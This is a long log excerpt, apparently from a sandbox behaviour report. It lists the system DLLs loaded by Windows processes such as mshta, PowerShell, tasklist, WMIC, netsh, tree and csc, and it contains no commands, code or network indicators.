Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
